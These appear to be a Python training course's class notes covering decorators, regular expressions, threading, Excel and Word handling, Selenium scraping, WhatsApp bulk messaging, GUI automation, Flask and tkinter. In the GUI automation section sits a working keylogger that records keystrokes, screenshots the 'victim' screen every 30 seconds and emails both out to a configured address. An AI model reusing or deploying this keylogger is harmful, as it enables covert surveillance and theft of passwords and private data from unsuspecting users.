return x + y
print(math(10, 20, add))
print(math(10, 20, lambda x, y: x + y))
print(math(10, 20, lambda x, y: x + y))
def limit_args(fn):
def wrapper(*args, **kwargs):
if len(args) < 5 or len(args) > 10:
return "Either too many or too few arguments"
else:
return fn(*args, **kwargs)
return wrapper
@limit_args
def add(*args):
return sum(args)
@limit_args
def print_names(*names):
for name in names:
print(name)
# print(add(10, 20, 12, 12, 12, 4))
# print(add(10, 20))
print(print_names("Vishal", "Ankit", "Vaibhav", "Pravin"))
def limit_args(fn):
def wrapper(*args, **kwargs):
if len(args) < 5 or len(args) > 10:
return "Either too many or too few arguments"
else:
return fn(*args, **kwargs)
return wrapper
def limit_args(min, max):
def inner(fn):
def wrapper(*args, **kwargs):
if len(args) < min or len(args) > max:
return "Either too many or too few arguments"
else:
return fn(*args, **kwargs)
return wrapper
return inner
@limit_args(2, 5)
def add(*args):
return sum(args)
# Original way of doing this
limit_args = limit_args(2, 5)(add)
print(add(1, 2, 3, 4))
def enforce(*types):
def inner(fn):
def wrapper(*args, **kwargs):
new_args = []
for a, t in zip(args, types):
try:
new_args.append(t(a))
except (ValueError, TypeError):
return "Something went wrong"
return fn(*new_args)
return wrapper
return inner
@enforce(str, int)
def announce(msg, times):
print((msg + "\n") * times)
user_msg = input("Please enter your message: ")
user_times = input("Please enter the number of times you want to print: ")
print(announce(user_msg, user_times))
# announce("Hello World!", 10)
Regular Expressions
>>> import re
>>>
>>> dir(re)
['DEBUG', 'DOTALL', 'I', 'IGNORECASE', 'L', 'LOCALE', 'M', 'MULTILINE', 'S', 'Scanner', 'T', 'TEMPLATE', 'U', 'UNICODE', 'VERBOSE', 'X', '_MAXCACHE', '__all__', '__builtins__', '__doc__', '__file__', '__name__', '__package__', '__version__', '_alphanum', '_cache', '_cache_repl', '_compile', '_compile_repl', '_expand', '_locale', '_pattern_type', '_pickle', '_subx', 'compile', 'copy_reg', 'error', 'escape', 'findall', 'finditer', 'match', 'purge', 'search', 'split', 'sre_compile', 'sre_parse', 'sub', 'subn', 'sys', 'template']
>>>
>>>
>>>
>>>import re
>>>
>>> str1 = "rohan Python Rstforum"
>>>
>>>
>>> x = re.match('r.h..',str1)
>>>
>>> x
<_sre.SRE_Match object at 0x00000000032AC780>
>>>
>>>
>>>
>>> x.group()
'rohan'
>>>
>>>
>>> x = re.match('P....n',str1)
>>>
>>> x
>>>
>>>
>>> x = re.match('Python',str1)
>>>
>>> x
>>>
>>>
>>>
>>> str1
'rohan Python Rstforum'
>>>
>>>
>>>
>>> x = re.search('Python',str1)
>>> x
<_sre.SRE_Match object at 0x00000000032AC780>
>>>
>>>
>>> x.group()
'Python'
>>>
>>>
>>> x = re.search('P....n',str1)
>>>
>>> x
<_sre.SRE_Match object at 0x00000000032AC7E8>
>>> x.group()
'Python'
>>>
>>>
>>>
>>> str1
'rohan Python Rstforum'
>>>
>>>
>>>
>>>
>>> str2 = 'RRRRRRohan Python'
>>>
>>> str3 = 'RRRRRRohannnnnn Python'
>>>
>>> x = re.match('R+',str2)
>>> x
<_sre.SRE_Match object at 0x00000000032AC780>
>>>
>>>
>>> x.group()
>>>'RRRRR'
>>>
>>> x = re.match('R+ohan',str2)
>>> x.group()
'RRRRRRohan'
>>>
>>>
>>>
>>> str3
'RRRRRRohannnnnn Python'
>>>
>>> x = re.match('R+ohan+',str3)
>>>
>>> x.group()
'RRRRRRohannnnnn'
>>>
>>>
>>> str1
'rohan Python Rstforum'
>>>
>>> x = re.match('.+',str1)
>>>
>>>
>>> x.group()
'rohan Python Rstforum'
>>>
>>>
>>>
>>> x = re.match('.+f',str1)
>>>
>>> x.group()
'rohan Python Rstf'
>>>
>>>
>>> x = re.match('.+o',str1)
>>>
>>> x.group()
'rohan Python Rstfo'
>>>
>>>
>>>
>>>
>>> x = re.match('.+?o',str1)
>>> x.group()
'ro'
>>>
>>>
>>>
>>>
>>> str4 = "Rohan12345!@#$!@#$ Python"
>>>
>>> x = re.match('Roha\w',str4)
>>>
>>>
>>> x.group()
'Rohan'
>>>
>>> x = re.match('Rohan\w',str4)
>>> x.group()
'Rohan1'
>>>
>>> x = re.match('Roha\d',str4)
>>>
>>> x
>>>
>>> x = re.match('Rohan12\d',str4)
>>>
>>> x
<_sre.SRE_Match object at 0x00000000032AC780>
>>>
>>> x.group()
'Rohan123'
>>>
>>>
>>> str1
'rohan Python Rstforum'
>>>
>>> str5 = "rohan Pythonn"
>>>
>>> x = re.match('rohan\sPyt',str1)
>>>
>>> x.group()
'rohan Pyt'
>>>
>>>
>>> x = re.match('rohan\sPyt',str5)
>>> x.group()
'rohan\tPyt'
>>>
>>>
>>> x = re.match('R[a-z]han',str1)
>>> x.group()
'rohan'
>>>
>>>
>>> x = re.match('R[a-e]han',str1)
>>>
>>> x
>>>
>>>
>>>
>>>
>>> str7 = "rohan@123 and amit@456 are the 2 IDS"
>>>
>>>
>>> x = re.search('[a-z]+@\d\d\d',str7)
>>> x
<_sre.SRE_Match object at 0x00000000032AC7E8>
>>>
>>> x.group()
'rohan@123'
>>>
>>>
>>>
>>> str1
'rohan Python Rstforum'
>>>
>>> x = re.match('rohan',str1)
>>> x.group()
'rohan'
>>>
>>>
>>> x = re.match('Rohan',str1)
>>> x
>>>
>>> x = re.match('Rohan',str1,re.I)
>>>
>>> x
<_sre.SRE_Match object at 0x00000000032AC780>
>>>
>>>
>>> x.group()
'rohan'
>>>
>>>
>>>
>>> str7
'rohan@123 and Amit@456 are the 2 IDS'
>>>
>>> x = re.search('[a-z]+@\d\d\d',str7,re.I)
>>> x.group()
'rohan@123'
>>>
>>>
>>> x = re.findall('[a-z]+@\d\d\d',str7,re.I)
>>>
>>> x
['rohan@123', 'Amit@456']
>>>
>>>
>>>
>>>
>>> str6
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'str6' is not defined
>>> str5
'rohan\tPythonn'
>>> str4
'Rohan12345!@#$!@#$ Python'
>>>
>>>
>>>
>>> str4
'Rohan12345!@#$!@#$ Python'
>>>
>>>
>>>
>>> x = re.match('rohan\d',str4)
>>> x.group()
'Rohan1'
>>>
>>> x = re.match('rohan[0-9]',str4)
>>> x.group()
'rohan1'
>>>
>>> x = re.match('rohan[1-5]',str4)
>>> x.group()
'rohan1'
>>>
>>>
>>> x = re.match('rohan[5-9]',str4)
>>> x
>>>
>>>
>>> str7
'rohan@123 and Amit@456 are the 2 IDS'
>>>
>>>
>>>
>>>
>>> str7 = 'rohan@12 and Amit@456 are the 2 IDS'
>>>
>>>
>>>
>>> x = re.findall('[a-z]+@\d{3}',str7,re.I)
>>> x
['Amit@456']
>>>
>>>
>>>
>>> x = re.findall('[a-z]+@\d{1,3}',str7,re.I)
>>> x
[]
>>>
>>>\d{3} -> \d\d\d
\d{2,6} -> min -> \d\d max -> \d\d\d\d\d\d
\d{2,} -> min -> \d\d max -> unlimited
\d{,5} -> min -> 1 , max --> \d\d\d\d\d
>>> x = re.findall('[a-z]+@\d{1,3}',str7,re.I)
>>> x
['rohan@12', 'Amit@456']
>>>
>>>
>>> str7 = 'rohan@12 and Amit@456789 are the 2 IDS'
>>>
>>> x = re.findall('[a-z]+@\d{1,3}',str7,re.I)
>>> x
['rohan@12', 'Amit@456']
>>>
>>>
>>> x = re.findall('[a-z]+@\d{1,3} ',str7,re.I)
>>> x
['rohan@12 ']
>>>
>>> x = re.findall('[a-z]+@\d{2,} ',str7,re.I)
>>>
>>> x
['rohan@12 ', 'Amit@456789 ']
>>>
>>>
>>>
>>> str2
'RRRRRRohan Python'
>>>
>>>
>>>
>>> str10 = 'RRRohhhan Pythonn'
>>>
>>>
>>> x = re.match('RRRoh+an',str10)
>>>
>>> x.group()
'RRRohhhan'
>>>
>>>
>>> # + says preceeding char should come 1 or more times
...
>>>
>>>
>>> x = re.match('RRRohhha+n',str10)
>>>
>>> x.group()
'RRRohhhan'
>>>
>>>
>>> str10
'RRRohhhan Pythonn'
>>>
>>>
>>> str1
'rohan Python Rstforum'
>>>
>>> x = re.match('rohi*an',str1)
>>>
>>> x
>>>
>>>
>>> x = re.match('roha+n',str1)
>>> x
<_sre.SRE_Match object at 0x00000000032AC780>
>>>
>>> x.group()
'rohan'
>>>
>>> x = re.match('roha*n',str1)
>>> x.group()
'rohan'
>>>
>>> # * says preceeding char can come zero or more times
...
>>>
>>>
>>>
>>> str2
'RRRRRRohan Python'
>>>
>>>
>>> x = re.match('R*',str2)
>>> x.group()
'RRRRR'
>>>
>>>
>>>
>>> str1
'rohan Python Rstforum'
>>>
>>> x = re.match('roha*n',str1)
>>> x.group()
'rohan'
>>>
>>>
>>>
>>>
>>> str11 = '''Hello world
... how r you'''
>>>
>>>
>>> str11
'Hello world\nhow r you'
>>>
>>>
>>> x = re.match('.+',str11)
>>> x.group()
'Hello world'
>>>
>>>
>>> x = re.match('.+',str11,re.DOTALL)
>>> x.group()
'Hello world\nhow r you'
>>>
>>>
>>>
>>>
>>> x = re.match('.*',str11,re.DOTALL)
>>> x.group()
'Hello world\nhow r you'
>>>
>>>
>>>
>>>
>>> str1
'rohan Python Rstforum'
>>>
>>>
>>>
>>> x = re.search('P....n',str1)
>>> x.group()
'Python'
>>>
>>>
>>> x = re.sub('P....n','Automation',str1)
>>>
>>> x
'rohan Automation Rstforum'
>>>
>>>
>>> log = 'My PC has ip 192.16.7.1 and yours has 1.1.1.1'
>>>
>>>
>>>
>>>
>>> x = re.findall('\d\d\d.\d\d\d.\d\d\d.\')
File "<stdin>", line 1
x = re.findall('\d\d\d.\d\d\d.\d\d\d.\')
^
SyntaxError: EOL while scanning string literal
>>>
>>>
>>>
>>> x = re.findall('\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}',log)
>>>
>>> x
['192.16.7.1', '1.1.1.1']
>>>
>>>
>>> log = 'My PC has ip 123456543234561 and yours has 1.1.1.1'
>>>
>>> x = re.findall('\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}',log)
>>>\
>>> x
['123456543234561', '1.1.1.1']
>>>
>>> x = re.findall('\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}',log)
>>>
>>> x
['1.1.1.1']
>>>
>>>
>>> str1 = "rohan+Python"
>>>
>>> x = re.match('rohan+Python',str1)
>>>
>>> x
>>>
>>>
>>> x = re.match('rohan\+Python',str1)
>>> x
<_sre.SRE_Match object at 0x00000000032AC7E8>
>>>
>>> x.group()
'rohan+Python'
Multi threading
Race condition
#race condition
import threading
x = 0
def increment_global():
global x
x += 1
def taskOfThread():
for i in range(500000):
increment_global()
def main():
t1 = threading.Thread(target=taskOfThread)
t2 = threading.Thread(target=taskOfThread)
t1.start()
t1.join()
t2.start()
t2.join()
if __name__ == '__main__':
for f in range(5):
main()
print(f"x = {x} after iteration {f}")
Context Switching
import time
from threading import Thread
def paanipoori():
print("paani")
time.sleep(3)
print("poori")
t1 = Thread(target = paanipoori)
t2 = Thread(target = paanipoori)
t3 = Thread(target = paanipoori)
t1.start()
t2.start()
t3.start()
Semaphore
import threading
import time
sem = threading.Semaphore()
def fun1():
print("function1 starting")
sem.acquire()
for x in range(1,5):
print(f"function1 working {x}")
time.sleep(1)
sem.release()
print("function1 finished")
def fun2():
print("function2 starting")
while not sem.acquire(blocking=False):
print("Fun2 no semaphore available")
time.sleep(1)
else:
print("got semaphore")
for x in range(1,5):
print(f"function2 working {x}")
time.sleep(1)
print("fun2 finished")
sem.release()
t1 = threading.Thread(target=fun1)
t2 = threading.Thread(target=fun2)
t1.start()
t2.start()
print("All threads done! exiting!")
Locks
#locks
from threading import Lock, Thread
l = Lock()
g = 0
def add_one():
global g
l.acquire()
g +=1
l.release()
def add_two():
global g
l.acquire()
g+=2
l.release()
threads = []
for func in [add_one,add_two]:
threads.append(Thread(target=func))
threads[-1].start()
for eachthread in threads:
eachthread.join()
print(g)
Multi-Processing
import multiprocessing
import os
def worker1():
print(f"Process ID for worker1: {os.getpid()}")
def worker2():
print(f"Process ID for worker 2: {os.getpid()}")
if __name__ == "__main__":
p1 = multiprocessing.Process(target = worker1)
p2 = multiprocessing.Process(target = worker2)
print(f"Process ID of Main Process: {os.getpid()}")
p1.start()
p2.start()
print(f"Process ID of p1 using mp: {p1.pid}")
print(f"Process ID of p2 using mp: {p2.pid}")
p1.join()
p2.join()
print(f"Process p1 is alive: {p1.is_alive()}")
print(f"Process p2 is alive: {p2.is_alive()}")
Queue
import multiprocessing
L = multiprocessing.Queue(maxsize=6)
print(L.qsize())
L.put(9)
L.put(8)
L.put(3)
L.put(5)
L.put(2)
L.put(6)
print("Full:", L.full())
print("Size:", L.qsize())
L.get()
L.get()
L.get()
L.get()
L.get()
L.get()
print("Empty:", L.empty())
Excel with Python
from openpyxl import load_workbook, Workbook
mywb = load_workbook(
"C:\\Users\\Rohan\\Documents\\DataHandling\\XL1.xlsx"
)
mywb = Workbook()
print(mywb.sheetnames)
mywb.create_sheet("Manage", 3)
mysh = mywb["Manage"]
mycell = mysh["C4"]
print(mycell.value)
mycell.value = "Python"
myblock = mysh["F1:H10"]
for eachrow in myblock:
for eachcell in eachrow:
eachcell.value = "Future"
mywb.save("students1.xlsx")
import openpyxl
path = "C:\\Users\\Rohan\\Documents\\DataHandling\\XL2.xlsx"
wb_obj = openpyxl.load_workbook(path)
sh_obj = wb_obj.active
cell_obj = sh_obj.cell(row=1, column=1)
print("Value of the first cell is", cell_obj.value)
print("Total rows are:", sh_obj.max_row)
print("Total columns are:", sh_obj.max_column)
for i in range(1, sh_obj.max_column + 1):
cell_obj = sh_obj.cell(row=1, column=i)
print("Names of the columns are", cell_obj.value)
for j in range(1, sh_obj.max_row + 1):
cell_obj = sh_obj.cell(row=j, column=2)
print("the names are", cell_obj.value)
for i in range(1, sh_obj.max_column + 1):
cell_obj = sh_obj.cell(row=3, column=i)
print(cell_obj.value)
-----------------------------------------------
import openpyxl
wb = openpyxl.Workbook()
sheet = wb.active
sheet_title = sheet.title
print("sheet name:" + sheet_title)
sheet.title = "Accounts"
print("sheet is renamed as:" + sheet.title)
c1 = sheet.cell(row=1, column=1)
c1.value = "RST"
c2 = sheet.cell(row=1, column=2)
c2.value = "Forum"
c3 = sheet["A3"]
c3.value = "Jay"
c4 = sheet["B2"]
c4.value = "Mital"
wb.save("C:\\Users\\Rohan\\Documents\\DataHandling\\XL3.xlsx")
-------------------------------------
import openpyxl
wb = openpyxl.Workbook()
sheet = wb.active
sheet.cell(row=1, column=1).value='Sunny'
sheet.cell(row=1, column=2).value='Leone'
sheet.row_dimensions[1].height=70
sheet.column_dimensions['B'].width=20
wb.save('C:\\Users\\Rohan\\Documents\\DataHandling\\dimension.xlsx')
---------------------------------------
import openpyxl
wb = openpyxl.Workbook()
sheet = wb.active
sheet.merge_cells("A1:D4")
sheet.cell(row=1, column=1).value = "cells merged together"
sheet.merge_cells("C6:D6")
sheet.cell(row=3, column=6).value = "2cells"
wb.save(
"C:\\Users\\Rohan\\Documents\\RSTForum\\Python Morning\\DataHandling\\merge.xlsx"
)
-------------------------------------------------
Word Handling with Python
import docx
doc = docx.Document()
doc.add_heading("RST Forum", 0)
network_para = doc.add_paragraph("Networking\n")
py_para = doc.add_paragraph("Python\n")
cloud_para = doc.add_paragraph("Cloud\n")
sec_para = doc.add_paragraph("Security\n")
col_para = doc.add_paragraph("Collaboration\n")
serv_para = doc.add_paragraph("Servers\n")
network_para.add_run("Foundation of next generation technology").bold=True
py_para.add_run("Foundation for automation").italic=True
cloud_para.add_run("Reduce capex & opex").underline=True
sec_para.add_run("Naam hai bulla, rakhta hun khullam khulla")
col_para.add_run("Converged architecture")
serv_para.add_run("Goli nai maarenge, keh ke lenge uski")
doc.add_page_break()
doc.add_heading("Coming up: Nex Gen Tech", 2)
doc.add_picture("C:\\Users\\Rohan\\Desktop\\test.png")
doc.save("C:\\Users\\Rohan\\Desktop\\doc1.docx")
---------------------------------------------------------
from docx import Document
#Document class ka instance banaya -> existing file -> doc
doc = Document("C:\\Users\\Rohan\\Desktop\\doc1.docx")
print("List of paragraph objects")
#doc.paragraphs -> list of paragraphs store at different memory locations in RAM
print(doc.paragraphs)
print("List of run objects in the paragraph")
#0th element of paragraph list is the heading, runs are the sentences
#doc.paragraphs[0].runs shows you the memory location of the sentences inside the heading
print(doc.paragraphs[0].runs)
#doc.paragraphs[0].text shows you the heading of the paragraph
print(doc.paragraphs[0].text)
for para in doc.paragraphs:
#doc.paragraphs.text shows you the whole data of the paragraph
print(para.text)
Automation
Browser Automation
# download chromedriver of the same version as your browser
# pip install selenium
# import webdriver
from selenium import webdriver
# print(dir(webdriver))
# import Keys
from selenium.webdriver.common.keys import Keys
# import time
import time
browser = webdriver.Chrome(executable_path="chromedriver.exe")
website = "https://www.youtube.com"
browser.maximize_window()
browser.get(website)
time.sleep(5)
search_box = browser.find_element_by_xpath('//input[@id="search"]')
print("search box found")
search_box.send_keys("numb")
search_box.send_keys(Keys.ENTER)
time.sleep(5)
songs = browser.find_elements_by_xpath('//*[@id="video-title"]/yt-formatted-string')
print(songs)
mysong = songs[0]
print(mysong)
mysong.click()
---------------------------------------------------------------------------
Web Scraping with Flipkart
from selenium import webdriver
from bs4 import BeautifulSoup as bs
import pandas as pd
driver = webdriver.Chrome(executable_path="C:\\Users\\Rohan\\Desktop\\chromedriver")
products = []
prices = []
driver.get("https://www.flipkart.com/laptops/pr?sid=6bo,b5g&otracker=categorytree")
content = driver.page_source
# print(content)
parsed_content = bs(content, "html.parser")
for eachproduct in parsed_content.findAll("a", href=True, attrs={"class": "_1fQZEK"}):
name = eachproduct.find("div", attrs={"class": "_4rR01T"})
price = eachproduct.find("div", attrs={"class": "_30jeq3 _1_WHN1"})
products.append(name.text)
prices.append(price.text)
print(products)
print(prices)
df = pd.DataFrame({"Product": products, "Prices": prices})
df.to_excel("C:\\Users\\Rohan\\Desktop\\laptops.xlsx", index=False)
Whatsapp Automation
from pywhatkit import sendwhatmsg_instantly
from pywhatkit.main import sendwhats_image
from selenium.webdriver.common.keys import Keys
from threading import Thread
from time import sleep
#def send_img(ph, img_path, caption, close_tab):
# sendwhats_image(f"+91{ph}", f"{img_path}", f"{caption}", f"{close_tab}")
# print("Image sent!")
def send_msg(ph, msg):
sendwhatmsg_instantly(f"+91{ph}", f"{msg}")
Keys.ENTER
print("Successfully Sent!")
to_do = ["1. Send whatsapp text message", "2. Send whatsapp image message"]
for eachitem in to_do:
print(eachitem)
choice = int(input("Please enter your choice: \n"))
numbers = open("C:\\Users\\Admin\\Desktop\\numbers.txt", "r")
img_path = "C:\\Users\\Admin\\Desktop\\default.bmp"
if choice == 1:
msg = input("Please enter your message: \n")
for eachnum in numbers.readlines():
print(f"sending message to {eachnum}")
t1 = Thread(target=send_msg, args=(f"{eachnum}", f"msg"))
t1.start()
sleep(2)
t1.join()
elif choice == 2:
# img_path = input("image ka path daalo, properly!")
caption = input("image caption daalo")
delay = 10
close_tab = True
for eachnum in numbers.readlines():
t2 = Thread(
target=send_img,
args=(
f"{eachnum}",
f"{img_path}",
f"{caption}",
f"{close_tab}",
),
)
t2.start()
sleep(10)
t2.join()
sleep(10)
else:
print("Choice baraabar daaloooo!!!!!")
GUI Automation
from pywinauto import Application
import time
app = Application()
app.start("notepad.exe")
app.UntitledNotepad.menu_select("Help->About")
time.sleep(5)
app.AboutNotepad.OK.click()
app.UntitledNotepad.Edit.type_keys("You have been hacked", with_spaces = True)
---------------------------------------------------------------------------------------
from pywinauto import Desktop, Application
Application().start('explorer.exe "C:\\Program Files"')
#connect to another process spawned by explorer.exe
#Run as administrator
app = Application(backend="uia")
app.connect(path="explorer.exe",title="Program Files")
app.ProgramFiles.set_focus()
common_files = app.ProgramFiles.ItemsView.get_item('Common Files')
common_files.right_click_input()
app.ContextMenu.Properties.invoke()
properties = Desktop(backend='uia').Common_Files_Properties
properties.print_control_identifiers()
properties.Cancel.click()
properties.wait_not('visible')
---------------------------------------------------------------------------------------
from pywinauto import Desktop, Application
import pyautogui
app = Application().start("mspaint.exe")
width, height = (pyautogui.size())
print(width,height)
distance = 200
while distance > 0:
pyautogui.dragRel(distance, 0, duration = 0.2)
distance = distance - 5
pyautogui.dragRel(0, distance, duration=0.2)
pyautogui.dragRel(-distance, 0, duration=0.2)
distance = distance - 5
pyautogui.dragRel(0, -distance, duration=0.2)
--------------------------------------------------------------------------------------
# from pywinauto.application import Application
# import pywinauto
# from time import sleep
# app = Application(backend="uia").start("notepad.exe")
# app.Untitled.menu_select("Help->About Notepad")
# # app.Untitled.print_control_identifiers()
# # sleep(2)
# # app.Untitled.CloseButton2.click()
# top_window = app.top_window()
# sleep(2)
# # top_window.print_control_identifiers()
# top_window.OK.click()
# text = "Lorem, ipsum dolor sit amet consectetur adipisicing elit. Incidunt et autem fugit ratione quaerat eos tempora culpa deleniti quod ducimus delectus soluta ea, quibusdam placeat provident illum perferendis unde consectetur molestiae dolorem quas voluptas? Fugit voluptates aut recusandae quo iusto?"
# app.Untitled.Edit.type_keys(text, with_spaces=True)
# app.Untitled.menu_select("File->Save")
# save_window = app.Untitled.child_window(title="Save As")
# # save_window.print_control_identifiers()
# save_window.ComboBox.Edit.type_keys("python_auto.txt")
# save_window.Save.click()
# sleep(2)
# app.Untitled.CloseButton2.click()
# import pyautogui
# from pywinauto.application import Application
# from time import sleep
# app = Application(backend="uia").start("mspaint.exe")
# print(pyautogui.size())
# pyautogui.moveTo(200, 400)
# pyautogui.dragRel(200, 400, 1)
# sleep(1)
# distance = 200
# while distance > 0:
# pyautogui.dragRel(distance, 0, duration=0.2)
# distance = distance - 5
# pyautogui.dragRel(0, distance, duration=0.2)
# pyautogui.dragRel(-distance, 0, duration=0.2)
# distance = distance - 5
# pyautogui.dragRel(0, -distance, duration=0.2)
# pyautogui.screenshot("screen.png")
from pynput.keyboard import Key, Listener
import pyautogui
import yagmail
from datetime import datetime
import time
import os
os.system("cls")
count = 0
keys = []
try:
print("Typing")
def on_press(key):
global keys, count
keys.append(key)
count += 1
print(f"{key} pressed")
if count >= 10:
write_file(keys)
keys = []
def write_file(keys):
with open("log.txt", "a") as f:
for key in keys:
k = str(key).replace("'", "")
if k.find("space") > 0:
f.write(str(" "))
elif k.find("cap_lock") > 0:
f.write(str("<CAPS_LOCK>"))
elif k.find("enter") > 0:
f.write("\n")
elif k.find("<97>") > -1:
f.write(str("1"))
elif k.find("<98>") > -1:
f.write(str("2"))
elif k.find("<99>") > -1:
f.write(str("3"))
elif k.find("<100>") > -1:
f.write(str("4"))
elif k.find("<101>") > -1:
f.write(str("5"))
elif k.find("<102>") > -1:
f.write(str("6"))
elif k.find("<103>") > -1:
f.write(str("7"))
elif k.find("<104>") > -1:
f.write(str("8"))
elif k.find("<105>") > -1:
f.write(str("9"))
elif k.find("Key") == -1:
f.write(k)
def take_screenshot():
screen = pyautogui.screenshot()
screen.save("victim_screen.png")
def send_mail():
receiver_email = "<your email ID>"
subject = f'Victim Data - {datetime.now().strftime("%d-%m-%Y %H-%M-%S")}'
yag = yagmail.SMTP("<your email ID", "<your email password>")
contents = [
"<b><font color='red' size='10'>YOUR VICTIM DATA - DARK ARMY</font></b>",
"log.txt",
"victim_screen.png",
]
yag.send(receiver_email, subject, contents)
def on_release(key):
if key == Key.esc:
return False # False will stop the listener
with Listener(on_press=on_press, on_release=on_release) as listener:
while True:
time.sleep(30)
take_screenshot()
send_mail()
listener.join()
except KeyboardInterrupt:
print("Program closed")
-------------------------------------------------------------------------------------------------------
APIs
from flask import Flask, jsonify
from flask.globals import request
app = Flask(__name__)
tasks = [
{
"id": 1,
"title": "Buy Groceries",
"description": "Milk, eggs, cheese, pizza, fruit",
"done": False,
},
{"id": 2, "title": "Learn python", "description": "come to RST", "done": True},
]
@app.route("/tasks", methods=["GET"])
def get_tasks():
return jsonify({"tasks": tasks})
@app.route("/homepage", methods=["GET"])
def homepage():
return "<HTML> <body bgcolor=Blue><h1><marquee>Welcome to RST Forum</marquee>"
@app.route("/mail")
def get_mail():
return "<html><body><marquee><h1>Welcome to Gmail</h1></marquee></body></html>"
@app.route("/pythonhome")
def pythonhome():
myfile = open("R:\\RSTForum\\Python Morning\\Software Development\\blog.htm")
data = myfile.read()
return data
@app.route("/uber", methods=["GET"])
def fb():
return {
"driver": "pagal bail",
"OTP": "6969",
"ETA": "10 Mins",
"Vehicle": ["MH-01", 9999],
}
@app.route("/login", methods=["POST"])
def login():
user = request.form.get("user", "khula")
pwd = request.form.get("pwd", "saand")
if user == "khula" and pwd == "saand":
return "Kundi mat khadkao raja, seedha andar aao raja"
else:
return "Tel lene jaa"
if __name__ == "__main__":
app.run(debug=True, port=8080)
------------------------------------------------------------------------------------------------
GUI Development
from tkinter import *
from tkinter.ttk import Combobox
mywindow = Tk()
mywindow.geometry("1000x1500")
frame1 = Frame(mywindow)
frame1.pack(side="left")
frame2 = Frame(mywindow)
frame2.pack(side="right")
label1 = Label(frame1, text="RSTForum")
label1.pack()
myimg = PhotoImage(file="C:\\Users\\Rohan\\Desktop\\test.gif")
label2 = Label(frame2)
label2["image"] = myimg
label2.pack(side="top")
def func123():
print(username.get())
print(password.get())
print(x.get())
print(phone.get())
print(day.get())
# BUTTON
button1 = Button(mywindow, fg="red", bg="white", text="submit", command=func123)
button1["image"] = myimg
button1.pack(side="left")
# ENTRYBOX
username = StringVar()
name = Entry(mywindow, textvariable=username)
name.pack(side="left")
password = StringVar()
pwd = Entry(mywindow, textvariable=password, show="*")
pwd.pack(side="left")
# CHECKBUTTON
x = StringVar()
mycheckbox = Checkbutton(
mywindow, text="I Agree", variable=x, onvalue="yes", offvalue="no"
)
mycheckbox.pack()
# RADIOBUTTON
phone = StringVar()
home = Radiobutton(mywindow, text="Home", variable=phone, value=2212345678)
office = Radiobutton(mywindow, text="Office", variable=phone, value=22987654321)
mobile = Radiobutton(mywindow, text="Mobile", variable=phone, value="+91123123456456")
home.pack()
office.pack()
mobile.pack()
# DROPDOWN Menu
day = StringVar()
dropdown = Combobox(
mywindow,
textvariable=day,
values=[
"Monday",
"Tuesday",
"Wednesday",
"Thursday",
"Friday",
"Saturday",
"Sunday",
],
)
dropdown.pack()
mywindow.mainloop()
-----------------------------------------------------------------------------------------------
Game
# import the modules
import tkinter
import random
# list of possible colors
colours = [
"Red",
"Blue",
"Green",
"Pink",
"Black",
"Yellow",
"Orange",
"White",
"Purple",
"Brown",
]
score = 0
timeleft = 30
# function that will start the game
def startGame(event):
if timeleft == 30:
countdown()
nextColour()
# function that will shuffle and show the next colour
def nextColour():
global score
global timeleft
if timeleft > 0:
# set focus on entry box
e.focus_set()
# compare the input from entrybox with colors list [1st element]
if e.get().lower() == colours[1].lower():
# increment the score
score += 1
# clear the entry box
e.delete(0, tkinter.END)
# shuffle the color list
random.shuffle(colours)
# color configuration to display foreground color, text is the 0th element
colourLabel.config(fg=str(colours[1]), text=str(colours[0]))
scoreLabel.config(text="Score:" + str(score))
# starts the timer
def countdown():
global timeleft
if timeleft > 0:
timeleft -= 1
timeLabel.config(text="Time Left:" + str(timeleft))
timeLabel.after(1000, countdown)
# Front-End:
root = tkinter.Tk()
root.title("Color Game")
root.geometry("500x500")
instructions = tkinter.Label(
root, text="Type in the color of the words, not the text", font=("Calibri", 12)
)
instructions.pack()
scoreLabel = tkinter.Label(root, text="Press enter to start", font=("Helvetica", 12))
scoreLabel.pack()
timeLabel = tkinter.Label(
root, text="Time Left: " + str(timeleft), font=("TimesNewRoman", 12)
)
timeLabel.pack()
colourLabel = tkinter.Label(root, font=("Helvetica", 12))
colourLabel.pack()
e = tkinter.Entry(root)
e.pack()
root.bind("<Return>", startGame)
e.focus_set()
root.mainloop()